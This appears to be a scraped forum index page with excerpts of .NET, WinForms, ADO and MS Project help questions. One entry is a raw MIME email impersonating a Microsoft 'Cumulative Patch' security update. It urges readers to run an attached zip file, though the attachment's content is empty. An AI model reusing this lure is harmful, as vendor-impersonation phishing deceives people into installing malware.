 |
 |
Index ‹ DotNet ‹ Visual C#.Net
|
- Previous
- 1
- Dotnet >> move printjobs between queuesHello,
I want to move printjobs from one windows 2003 queue to another.
This far I have the following code:
=====================
dim queue1,queue2 As ActiveDs.IADsPrintQueueOperations
Dim jobs1, jobs2 As ActiveDs.IADsCollection
Dim job As ActiveDs.IADsPrintJob
queue1 = GetObject("WinNT://server/printer1")
queue2 = GetObject("WinNT://server/printer2")
jobs1 = queue1.PrintJobs
=====================
How can I move the jobs from printer1 to printer2?
I tried to achange the property job.HostPrintQueue, but that one is
ReadOnly.
Regards, Jurgen
- 2
- Visual C#.Net >> Isolated Storage bug at design timeHello,
We use several user controls and derived custom controls. Some of
which actually hit the database at design time to show data (such as
filling a list box, etc...)
Our c# client server app uses the .NET Isolated storage libraries for
storing connection string and other info about the application. The
problem is that the Isolated storage bombs at design time (when you
try and view a control that hits the database at design time).
The workaround we have in place is the Isolated storage check is in a
try / catch. If it fails, we load a hard-coded xml file with the same
settings at a specified path that never changes... which defeats the
whole purpose of Isolated Storage.
This isn't a huge issue cuz it only happens at design time and we have
a (hackish) workaround, but I was wondering if anyone has had this
problem and/or knows why it would be happening?
Thanks,
Dave
- 3
- Microsoft Project >> MS ProjectHi
I have a MS Project 2000 and I have two questions (may be for beginners :-)
- How to enter a recurrent task that happens regularly?
- On the Gantt chart , can we see the summary recurrent task as a line that
includes milestones showed inside it (meaning the repeated tasks showed as
milestones inside the line that represents the recurrent summary task) ?
Thanks in advance
Fayez
- 4
- Visual C#.Net >> Not a Question - Anyone tired of guessing types coming from a database?Try this instead:
// T - the type you are attempting to retrieve.
// o - the data that you want to turn into a T
T get<T>(object o)
{
// handle nulls - turns Nullables into null, reference
types to null and value types to 0.
if (o == null || o == DBNull.Value)
{
return default(T);
}
// we have real data so cast it
else
{
// Gets the underlying nullable type. Null if the type
is not Nullable.
Type t = Nullable.GetUnderlyingType(typeof(T));
// ChangeType is especially nice for dealing with
casts.
// Where explicit casting fails, ChangeType often
succeeds.
// It is dangerous to convert from Object to
Nullable<U> directly, since Object may not be a U.
// However, from U to Nullable<U> always succeeds, so
make Object into U first.
// Since we already handled nulls, we need not worry
about casting away null-ness.
return (T)Convert.ChangeType(o, t == null ?
typeof(T) : t);
}
}
This generic method allows you to send in whatever type you desire to
pull off as T. This method will do its best to take what is on the
database and turn it to your type.
It even handles Nullable types so you can put nulls into numbers and
dates.
It will return nulls into the default value of your type, so numbers
become 0, Dates become DateTime.MinValue and reference types become
null.
This is absolutely necessary to provide an efficient, universal and
safe way of managing data types for business objects, especially if
your DBAs like to change precisions on your a lot.
I have been using this code for months now and have been pleasantly
surprised how little I have to worry about guess work anymore.
Let me know if you find any problems with it. Like I said, we have
gone months without any issues at all.
Cheers,
Travis
- 5
- Visual C#.Net >> Dependency Injection - Can It Be This Simple?Does the following accurately summarize the notion of "dependency
injection?"
Class A needs to cause "Some Activity" to happen (in addition to other
things that Class A does).
Class A may or may not have a default implementation of Some Activity.
Class B is able to do Some Activity.
At runtime, a reference to an instance of Class B is passed to Class A
(perhaps via Setter, or to the constructor of Class A).
Class A causes Some Activity to happen by calling a method of its Class B
reference.
In the future (or even immediately), we need for an alternative
implementation of Some Activity, so we create Class C.
We can then pass a reference [to a Class C instance] to Class A, which then
initiates Some Activity on the Class C instance.
In the above account, Class B and Class C both implement an interface or
derive from a common abstract base class -- and Class A knows only about
that interface, and initiates Some Activity as a method of that interface or
base class.
The most important benefit of the above arrangement (dependency injection)
is that we can extend the application specifically to perform alternative
implementations of Some Activity by adding a new class and updating the
application configuration (so that Class A can be passed a reference to the
new class), without modifying Class A in any way. In other words, Class A is
open for extension, but closed for modification, and dependency injection is
one way to achieve that objective.
Your comments are appreciated, as I'm wanting some verification or
clarification of my understanding of dependency injection.
Thanks.
- 6
- Winforms >> Smart Client with dynamic app.configI am deploying a smart client app via ClickOnce. The config file gets
deployed along with the application. However, once trying to edit the
config file after deployment, the application no longer works because
the manifest detects a change in the file.
The app.config contains the path to a web service. I need the
app.config to be dynamic so that when the app is deployed to various
locations, I can change path.
I do not want to pass the URL via the query string.
Other than creating an external file with the settings, does anyone
know how I can create a dynamic app.config?
Thanks,
Dave
- 7
- 8
- Net Framework >> Check that internet package from the M$ Corp.--gutpauizr
Content-Type: multipart/related; boundary="rhdmahkpvf";
type="multipart/alternative"
--rhdmahkpvf
Content-Type: multipart/alternative; boundary="bmvmnjoqyk"
--bmvmnjoqyk
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to continue keeping your computer secure.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--bmvmnjoqyk
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:hqnywtu" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Customer<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to continue keeping your computer secure.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vtheofk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vtheofk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vtheofk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vtheofk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vtheofk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2003 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--bmvmnjoqyk--
--rhdmahkpvf
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <hqnywtu>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++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FMABxI3
cWM0B6tWhQjoduIWd7nXgC20hXfHbkOBPRSYECFgAchQg4VYiMyQhikAAjdwAStgAydyIm1yARVA
AQXQASvQhzYSAA2AAav4iq/4g0AYiyRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4
iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w
MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA
gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--rhdmahkpvf
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <vtheofk>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--rhdmahkpvf--
--gutpauizr
Content-Type: application/x-compressed; name="szbu.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--gutpauizr--
- 9
- Net Framework >> Getting Client's Browser information.Hello
Are there some namespace in the framework which one I can take information of the client's Browser? (developing with ASP.NET
Example
If the client has my URL in his Restricted Site, in his security's Internet Options, Are there some manner for knowing it?
Some online article
Thanks in advance!
l-touched
- 10
- Net Framework >> Getting 3.0 Facts StraightOk.
If anybody has a url , that'd be great.
My IT Department is asking for the exact lowdown on 3.0, from a machine/OS
perspective.
3.0 projects can be
developed on
a. XP SP2
b. Vista
c. ( I guess 2003Server, but how uses that as their personal OS)
and deployed on
2003Server
(some future version of Vista)
Oh man. I know I screwed that up somehow.
I found a few blogs, but would like group help with the concrete facts with
this one.
- 11
- Dotnet >> Need two views for a datalistI have a datalist that displays catalog items on the page 4 in a row
using the RepeatColumns="4" and RepeatDirection="Horizontal" the page
displays two rows of data when first viewed and if there is more then 8
products to display will create page numbers at the top of the page for
each subsiquent page of 8. The customer has asked to place an image in
the area occupied by the first two columns in the first row, but only
on the first page. The image information is not stored in the database
with the product information. I need to alter the template for the
first page only in some way to show this new layout and i'm stuck. Any
help or direction would be appreciated. Is this even possible?
- 12
- ADO >> generate xml from sample xmlhi,
i need to generate an xml files of some data in my database ...
i've an xml sample of the result xml nad i've to create a xml
with the same structure ...
which it is the better and faster way?
Can i retrieve a schema from the sample.xml and then write an
xml based on this schema ?
Might i use Dataset.readxmlschema , Dataset.readxml and
Dataset.writexmlschema , Dataset.writexml ???
tnx in advance
andrew
- 13
- Dotnet >> Converting dates with CultureAndRegionInfoBuilder ?Hi,
the built-in CultureInfo in .NET 2.0 can convert calendar dates
between cultures
for instance this code shows current time in hijri calendar
(arabic culture) :
CultureInfo pcul = new CultureInfo("ar-SA");
MessageBox.Show(DateTime.Now.ToString("F", pcul));
it seems that MIcrosoft has not developed this feature for all
CultureInfos
for example :
CultureInfo pcul = new CultureInfo("fa-IR");
MessageBox.Show(DateTime.Now.ToString("F", pcul));
must return the current date in persian calendar (jalali date) but
it retrurns the
Georgian calendar date time.
is there anyway to override this routines in .NET 2.0 ? (it was
possible in .NET 1.1)
I found CultureAndRegionInfoBuilder class to build new cultures but
I found nothing
about date conversion routines.
Thanks,
Mehdy Mohajery
mehdy[@]zworg.com
- 14
- 15
- Microsoft Project >> Gantt chart bar displays wrong timeI am using Project 2007. We are mapping out an industrial process in seconds
by manually scaling hours as minutes and minutes as seconds. I have the
timescale set as minutes with a 10 count and 1,2,3,4 label. When I put a
number over 240 mins in for duration, the gantt chart bar adds 60 to the
number. I can duplicate the problem on a new project. Does anyone have any
ideas?
--
Jason Reese
Microsoft Certified Professional
Microsoft Small Business Specialist
SBA Computers, Inc.
|
| Author |
Message |
kaarkey

|
Visual C#.Net >> OpenFileDialog
hi,
i have a form with a webbrowser control and an openfiledialog. how do i open
an HTML document in the webbrowser?
help me please!
--
Alvo von Cossel I of Germany
DotNet392
|
| |
|
| |
 |
| |
 |
Index ‹ DotNet ‹ Visual C#.Net |
- Next
- 1
- Microsoft Project >> Printing a specific phaseHi all,
I have a MS Project 2003 document which is comprised of several phases with
subtasks under each phase. Is there a way that I can print out a specific
phase and its subtasks? I know I can do a task range filter and print that
but I wasn't sure if there was a better way. I would appreciate any helpful
hints on this.
Thank you in advance!
LaurenM
- 2
- Net Framework >> Install a Service Programmatically ?Hi there,
I'm designing an application in C#. One of the files in my application
is "server.exe". This assembly listens for inbound connections and handles
various incoming requests. I want to give the user of my application the
option to allow server.exe to execute and handle requests even after the
user has logged off.
My plan is to ask the user "Would you like this service to continue
running after you log off?". If the user answers yes, I want to install
"server.exe" as a service. I've done this successfully in a manual way using
the 'installutil' .NET helper application, but my application will need to
do this in an automated way.
How can I accomplish this? Shall I shell out to a command prompt and
execute installutil against server.exe? Does the user need to be an
administrator of his machine? Can I be 100% certain that if the user has the
.NET framework installed that 'installutil' will be installed as well? If
so, how do I find it? Is there some sort of macro (i.e. %DOTNET_FOLDER% for
example) that will allow me to easily determine the dotnet folder where
'installutil' resides?
Is there any way to get server.exe to execute after a user has logged
off *other* than using a service? I'd appreciate any suggestions.
--
Sincerely,
David Sworder
http://www.CodeFanatic.com
- 3
- Net Framework >> err.raise inside catch?I would like to use err.raise(x) within a catch block to send an exception
back to the calling function or cain of functions. Is this ok to do? I know
if i dont use try catch fail in the child function that it will send an
exception to the calling function but i want to have error handling in all
chain functions.
any MSDN documentation on this?
- 4
- Microsoft Project >> Resource allocated to ongoing taskHi
Project Pro 2002
Project server 2002
PWA
Please can you tell me how I can add a resource to an existing task
without it showing them as overallocated for the time before they
joined the company.
I have a chap just started, I've allocated him to a task which started
in April and so for that month my resource usage chart shows him as
overallocated.
Is it just a case of deleting the hours manually from the resource
usage view?
Many thanks
lynne
- 5
- Microsoft Project >> Predesessor link not workingI am surprised to see that the task start date is not changing according to
it's predesessor end dates...I don't know what happned to my project plan. I
checked all settings. They look ok. I also notice that the duration
calculation is not proper..for example it is coming to be 3.05 days if the
there is 1 week difference between schedule START and FINISH dates. Can you
help?
- 6
- Winforms >> Emptying the Controls collection prevents form from closing.Why does disposing all of the controls and emptying the controls collection
in a form prevent it from closing?
At the minute we have the lovely choice of not destroying our controls and
having a major memory leak, or we destroy the controls, and find ourselves
unable to close the form.
Any advice appreciated.
Cheers,
4Space
- 7
- Winforms >> Getting Text from a RichEdit20aI am primarily a web developer, but I am branching out for this project into
the world of Windows Forms.
I am looking for any help, examples, samples to show me how to retrieve text
from a RichEdit20a (or RichEdit20w) that exists in another application
running on the same box.
This is the only part of a large project that I am running that is new to
me, so I want to get this sorted as soon as possible. Then I can relax and
concentrate on actually writing the code.
Any help would be appreciated.
Thanks very much.
Matt. Davies
P.S. My apologies for a cross group post, but I wasn't sure which would be
the most appropriate group...inexperience again !
- 8
- 9
- ADO >> Stored Proc results in DataGridViewI'm trying to get the results of a stored proc (with no input parameters)
into a datagridview. I'm able to get the results into a messagebox but i'm
nor sure how to get them into a DataGridView
Using cn As New SqlConnection(strConn)
Try
cn.Open()
Catch ex As Exception
MessageBox.Show("Connect Attempt Failed")
MessageBox.Show(ex.Message.ToString)
End Try
Dim cmd As New SqlCommand("sp_TestBilly", cn)
cmd.CommandType = CommandType.StoredProcedure
Dim rdr As SqlDataReader
rdr = cmd.ExecuteReader(CommandBehavior.CloseConnection)
'Do While rdr.Read()
' MessageBox.Show(rdr(0) & " " & rdr(1) & " " & rdr(2) & " "
& rdr(3) & " " & rdr(4) & " " & rdr(5) & " " & rdr(6), "sp_BillyTest")
'Loop
'rdr.Close()
datagridview1.DataSource=***here's where I can't get the code
right****
cn.Close()
End Using
End Sub
--
Billy Rogers
Dallas,TX
Currently Using SQL Server 2000, Office 2000 and Office 2003
- 10
- 11
- 12
- Microsoft Project >> How do I filter for Overallocated Tasks in Project?Hi,
I'm beginning to level my resources, but I first want to know which tasks
have overallocated resources assigned to them so I can decide what priority
level to give them before leveling the project.
I first tried to set a filter for task overallocations, but that doesn't
help since only overallocations for the individual task show up (in my case
none, because, although during any given day there may be three tasks
assigned to Bob totalling 24 hours-- a definite overallocation-- each
individual task is not overallocated at 8 hours).
I also tried to filter for resource overallocations but that didn't help
since 1) it only works on resource views and, 2) it simply highlights the
resources which are overallocated without giving you a list of the tasks
which are creating the overallocations.
Finally I tried messing around with a custom filter but wasn't able to find
the right combination of fields and values to give the desired results.
If anyone has any suggestions I would really appreciate it.
Thanks,
Carlos
- 13
- Dotnet >> How can I see what's in a collection during debugging?<I also posted this on microsoft.public.vsnet.debugging 'cuz I didn't know
which was more appropriate or would get quickest response>
Hello,
Can someone tell me how I can view the contents of a collection when in
debug mode?
For example, I working with a dataset and when the app stops at a breakpoint
I'd like to see what is actually in the Tables collection of the dataset. I
add a watch on my dataset variable and expand the Tables object. It just
keeps showing me the following: Count, IsReadOnly, Is Synchronized, Item and
SyncRoot. Expand SyncRoot and you're at the beginning of a big old
recursion.
So if I want to see what's in row x of table y for example, I have to create
a variable in my code representing that row in that table and add a watch
for THAT variable. I have to believe that there is an easier, more dynamic,
way for me to inspect the content of this during debugging.
Any help would be greatly appreciated.
David.
- 14
- 15
|
|
|